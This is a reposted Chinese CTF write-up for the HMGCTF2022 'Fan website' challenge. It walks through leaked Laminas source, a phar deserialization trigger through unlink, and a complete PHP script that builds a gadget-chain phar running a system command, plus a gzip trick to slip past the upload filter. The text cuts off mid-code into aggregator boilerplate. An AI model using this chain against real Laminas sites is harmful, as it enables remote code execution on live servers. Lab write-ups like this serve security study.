[HMGCTF2022]wp

Posted huamanggg

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[HMGCTF2022]wp相关的知识,希望对你有一定的参考价值。

WEB

Fan website

首先是一个www.zip的源码泄露,是laminas框架
mvc的框架首先就是看路由
在\\module\\Album\\src\\Controller\\AlbumController.php里面有功能点

<?php
namespace Album\\Controller;

use Album\\Model\\AlbumTable;
use Laminas\\Mvc\\Controller\\AbstractActionController;
use Laminas\\View\\Model\\ViewModel;
use Album\\Form\\AlbumForm;
use Album\\Form\\UploadForm;
use Album\\Model\\Album;

class AlbumController extends AbstractActionController

    // Add this property:
    private $table;
    private $white_list;

    public function __construct(AlbumTable $table)
        $this->table = $table;
        $this->white_list = array('.jpg','.jpeg','.png');
    

    public function indexAction()
    
        return new ViewModel([
            'albums' => $this->table->fetchAll(),
        ]);
    

    public function addAction()
    
        $form = new AlbumForm();
        $form->get('submit')->setValue('Add');

        $request = $this->getRequest();

        if (! $request->isPost()) 
            return ['form' => $form];
        

        $album = new Album();
        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) 
            return ['form' => $form];
        

        $album->exchangeArray($form->getData());
        $this->table->saveAlbum($album);
        return $this->redirect()->toRoute('album');
    


    public function editAction()
    
        $id = (int) $this->params()->fromRoute('id', 0);

        if (0 === $id) 
            return $this->redirect()->toRoute('album', ['action' => 'add']);
        

        // Retrieve the album with the specified id. Doing so raises
        // an exception if the album is not found, which should result
        // in redirecting to the landing page.
        try 
            $album = $this->table->getAlbum($id);
         catch (\\Exception $e) 
            return $this->redirect()->toRoute('album', ['action' => 'index']);
        

        $form = new AlbumForm();
        $form->bind($album);
        $form->get('submit')->setAttribute('value', 'Edit');

        $request = $this->getRequest();
        $viewData = ['id' => $id, 'form' => $form];

        if (! $request->isPost()) 
            return $viewData;
        

        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) 
            return $viewData;
        

        $this->table->saveAlbum($album);

        // Redirect to album list
        return $this->redirect()->toRoute('album', ['action' => 'index']);
    


    public function deleteAction()
    
        $id = (int) $this->params()->fromRoute('id', 0);
        if (!$id) 
            return $this->redirect()->toRoute('album');
        

        $request = $this->getRequest();
        if ($request->isPost()) 
            $del = $request->getPost('del', 'No');

            if ($del == 'Yes') 
                $id = (int) $request->getPost('id');
                $this->table->deleteAlbum($id);
            

            // Redirect to list of albums
            return $this->redirect()->toRoute('album');
        

        return [
            'id'    => $id,
            'album' => $this->table->getAlbum($id),
        ];
    


    public function imgdeleteAction()
    
        $request = $this->getRequest();
        if(isset($request->getPost()['imgpath']))
            $imgpath = $request->getPost()['imgpath'];
            $base = substr($imgpath,-4,4);
            if(in_array($base,$this->white_list))     //白名单
                @unlink($imgpath);
            else
                echo 'Only Img File Can Be Deleted!';
            
        
    
    public function imguploadAction()
    
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) 
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) 
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list))   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\\?|php|HALT\\_COMPILER/i", $cont )) 
                        die("Not This");
                    
                    if($data["image-file"]["size"]<3000)
                        die("The picture size must be more than 3kb");
                    
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                else
                    echo 'Only Img Can Be Uploaded!';
                
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            
        

        return ['form' => $form];
    



首先是很明显是一个文件上传

public function imguploadAction()
    
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) 
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) 
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list))   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\\?|php|HALT\\_COMPILER/i", $cont )) 
                        die("Not This");
                    
                    if($data["image-file"]["size"]<3000)
                        die("The picture size must be more than 3kb");
                    
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                else
                    echo 'Only Img Can Be Uploaded!';
                
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            
        

        return ['form' => $form];
    

首先有一个白名单限制,只能传图片后缀,再者这里有一个phar文件的识别
这里就属于此地无银三百两了

("/<\\?|php|HALT\\_COMPILER/i",

找phar的利用点,在imgdeleteAction里面有@unlink($imgpath);,可以触发phar

public function imgdeleteAction()

    $request = $this->getRequest();
    if(isset($request->getPost()['imgpath']))
        $imgpath = $request->getPost()['imgpath'];
        $base = substr($imgpath,-4,4);
        if(in_array($base,$this->white_list))     //白名单
            @unlink($imgpath);
        else
            echo 'Only Img File Can Be Deleted!';
        
    

那么就好做了,首先去找链子
如下链子可以rce,直接构造phar文件

<?php

namespace Laminas\\View\\Resolver
	class TemplateMapResolver
		protected $map = ["setBody"=>"system"];
	

namespace Laminas\\View\\Renderer
	class PhpRenderer
		private $__helpers;
		function __construct()
			$this->__helpers = new \\Laminas\\View\\Resolver\\TemplateMapResolver();
		
	



namespace Laminas\\Log\\Writer
	abstract class AbstractWriter
	
	class Mail extends AbstractWriter
		protected $eventsToMail = ["cat /flag"];
		protected $subjectPrependText = null;
		protected $mail;
		function __construct()
			$this->mail = new \\Laminas\\View\\Renderer\\PhpRenderer();
		
	


namespace Laminas\\Log
	class Logger
		protected $writers;
		function __construct()
			$this->writers = [new \\Laminas\\Log\\Writer\\Mail()];
		
	


namespace
$a = new \\Laminas\\Log\\Logger();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();

由于他会对phar文件的特征进行识别,所以我们需要加以绕过,这里有两个绕过方法,我直接把phar文件进行gzip压缩,这样就没有特征了

然后修改后缀为png,在/album/imgupload里上传上去

他说文件太小,必须要大于3kb

if($data["image-file"][以上是关于[HMGCTF2022]wp的主要内容,如果未能解决你的问题,请参考以下文章

[祥云杯2021] wp

WP-2021祥云杯

[2021极客大挑战]部分wp

[2021极客大挑战]部分wp

[2021极客大挑战]部分wp

开局不利?无效上班?别听风就是雨,摆正心态最重要